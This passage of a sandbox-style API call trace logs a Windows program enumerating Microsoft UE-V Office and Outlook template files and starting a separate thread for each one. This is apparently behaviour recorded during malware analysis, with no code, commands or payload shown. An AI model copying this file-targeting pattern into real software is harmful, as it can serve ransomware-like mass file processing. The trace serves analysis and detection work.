Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.093] wcscat (in: _Dest=0x2fee978, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.093] wcscat (in: _Dest=0x2fee978, _Source="MicrosoftOffice2010Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" [0174.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0174.094] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1 [0174.094] wcscmp (_String1="MicrosoftOffice2013BackupWin32.xml", _String2=".") returned 1 [0174.094] wcscmp (_String1="MicrosoftOffice2013BackupWin32.xml", _String2="..") returned 1 [0174.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91710 [0174.094] wcscpy (in: _Dest=0x2f91710, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.094] wcscat (in: _Dest=0x2f91710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.094] wcscat (in: _Dest=0x2f91710, _Source="MicrosoftOffice2013BackupWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" [0174.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0174.095] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1 [0174.095] wcscmp (_String1="MicrosoftOffice2013BackupWin64.xml", _String2=".") returned 1 [0174.095] wcscmp (_String1="MicrosoftOffice2013BackupWin64.xml", _String2="..") returned 1 [0174.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91d40 [0174.095] wcscpy (in: _Dest=0x2f91d40, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.095] wcscat (in: _Dest=0x2f91d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.095] wcscat (in: _Dest=0x2f91d40, _Source="MicrosoftOffice2013BackupWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" [0174.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0174.096] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1 [0174.096] wcscmp (_String1="MicrosoftOffice2013Office365Win32.xml", _String2=".") returned 1 [0174.096] wcscmp (_String1="MicrosoftOffice2013Office365Win32.xml", _String2="..") returned 1 [0174.096] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056330 [0174.096] wcscpy (in: _Dest=0x3056330, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.096] wcscat (in: _Dest=0x3056330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.096] wcscat (in: _Dest=0x3056330, _Source="MicrosoftOffice2013Office365Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" [0174.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0174.096] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1 [0174.096] wcscmp (_String1="MicrosoftOffice2013Office365Win64.xml", _String2=".") returned 1 [0174.096] wcscmp (_String1="MicrosoftOffice2013Office365Win64.xml", _String2="..") returned 1 [0174.097] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055e28 [0174.097] wcscpy (in: _Dest=0x3055e28, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.097] wcscat (in: _Dest=0x3055e28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.097] wcscat (in: _Dest=0x3055e28, _Source="MicrosoftOffice2013Office365Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" [0174.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0174.097] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1 [0174.097] wcscmp (_String1="MicrosoftOffice2013Win32.xml", _String2=".") returned 1 [0174.098] wcscmp (_String1="MicrosoftOffice2013Win32.xml", _String2="..") returned 1 [0174.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee588 [0174.098] wcscpy (in: _Dest=0x2fee588, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.098] wcscat (in: _Dest=0x2fee588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.098] wcscat (in: _Dest=0x2fee588, _Source="MicrosoftOffice2013Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" [0174.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0174.098] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1 [0174.098] wcscmp (_String1="MicrosoftOffice2013Win64.xml", _String2=".") returned 1 [0174.098] wcscmp (_String1="MicrosoftOffice2013Win64.xml", _String2="..") returned 1 [0174.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee2e8 [0174.098] wcscpy (in: _Dest=0x2fee2e8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.098] wcscat (in: _Dest=0x2fee2e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.099] wcscat (in: _Dest=0x2fee2e8, _Source="MicrosoftOffice2013Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" [0174.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee2e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0174.099] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1 [0174.099] wcscmp (_String1="MicrosoftOffice2016BackupWin32.xml", _String2=".") returned 1 [0174.099] wcscmp (_String1="MicrosoftOffice2016BackupWin32.xml", _String2="..") returned 1 [0174.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f90f80 [0174.099] wcscpy (in: _Dest=0x2f90f80, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.099] wcscat (in: _Dest=0x2f90f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.099] wcscat (in: _Dest=0x2f90f80, _Source="MicrosoftOffice2016BackupWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" [0174.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0174.100] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1 [0174.100] wcscmp (_String1="MicrosoftOffice2016BackupWin64.xml", _String2=".") returned 1 [0174.100] wcscmp (_String1="MicrosoftOffice2016BackupWin64.xml", _String2="..") returned 1 [0174.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91870 [0174.100] wcscpy (in: _Dest=0x2f91870, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.100] wcscat (in: _Dest=0x2f91870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.100] wcscat (in: _Dest=0x2f91870, _Source="MicrosoftOffice2016BackupWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" [0174.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0174.101] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1 [0174.101] wcscmp (_String1="MicrosoftOffice2016Win32.xml", _String2=".") returned 1 [0174.101] wcscmp (_String1="MicrosoftOffice2016Win32.xml", _String2="..") returned 1 [0174.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee390 [0174.101] wcscpy (in: _Dest=0x2fee390, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.101] wcscat (in: _Dest=0x2fee390, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.101] wcscat (in: _Dest=0x2fee390, _Source="MicrosoftOffice2016Win32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" [0174.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0174.102] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1 [0174.102] wcscmp (_String1="MicrosoftOffice2016Win64.xml", _String2=".") returned 1 [0174.102] wcscmp (_String1="MicrosoftOffice2016Win64.xml", _String2="..") returned 1 [0174.102] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fedd00 [0174.102] wcscpy (in: _Dest=0x2fedd00, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.102] wcscat (in: _Dest=0x2fedd00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.102] wcscat (in: _Dest=0x2fedd00, _Source="MicrosoftOffice2016Win64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" [0174.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0174.103] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1 [0174.103] wcscmp (_String1="MicrosoftOutlook2013CAWin32.xml", _String2=".") returned 1 [0174.103] wcscmp (_String1="MicrosoftOutlook2013CAWin32.xml", _String2="..") returned 1 [0174.103] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fedda8 [0174.103] wcscpy (in: _Dest=0x2fedda8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.103] wcscat (in: _Dest=0x2fedda8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.103] wcscat (in: _Dest=0x2fedda8, _Source="MicrosoftOutlook2013CAWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" [0174.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0174.104] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1 [0174.104] wcscmp (_String1="MicrosoftOutlook2013CAWin64.xml", _String2=".") returned 1 [0174.104] wcscmp (_String1="MicrosoftOutlook2013CAWin64.xml", _String2="..") returned 1 [0174.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2feea20 [0174.104] wcscpy (in: _Dest=0x2feea20, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.104] wcscat (in: _Dest=0x2feea20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.104] wcscat (in: _Dest=0x2feea20, _Source="MicrosoftOutlook2013CAWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" [0174.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feea20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0174.105] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1 [0174.105] wcscmp (_String1="MicrosoftOutlook2016CAWin32.xml", _String2=".") returned 1 [0174.105] wcscmp (_String1="MicrosoftOutlook2016CAWin32.xml", _String2="..") returned 1 [0174.105] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fedef8 [0174.105] wcscpy (in: _Dest=0x2fedef8, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.105] wcscat (in: _Dest=0x2fedef8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.105] wcscat (in: _Dest=0x2fedef8, _Source="MicrosoftOutlook2016CAWin32.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" [0174.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0174.106] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1 [0174.106] wcscmp (_String1="MicrosoftOutlook2016CAWin64.xml", _String2=".") returned 1 [0174.106] wcscmp (_String1="MicrosoftOutlook2016CAWin64.xml", _String2="..") returned 1 [0174.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fedc58 [0174.106] wcscpy (in: _Dest=0x2fedc58, _Source="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0174.106] wcscat (in: _Dest=0x2fedc58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\" [0174.106] wcscat (in: _Dest=0x2fedc58, _Source="MicrosoftOutlook2016CAWin64.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" [0174.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedc58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0174.107] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 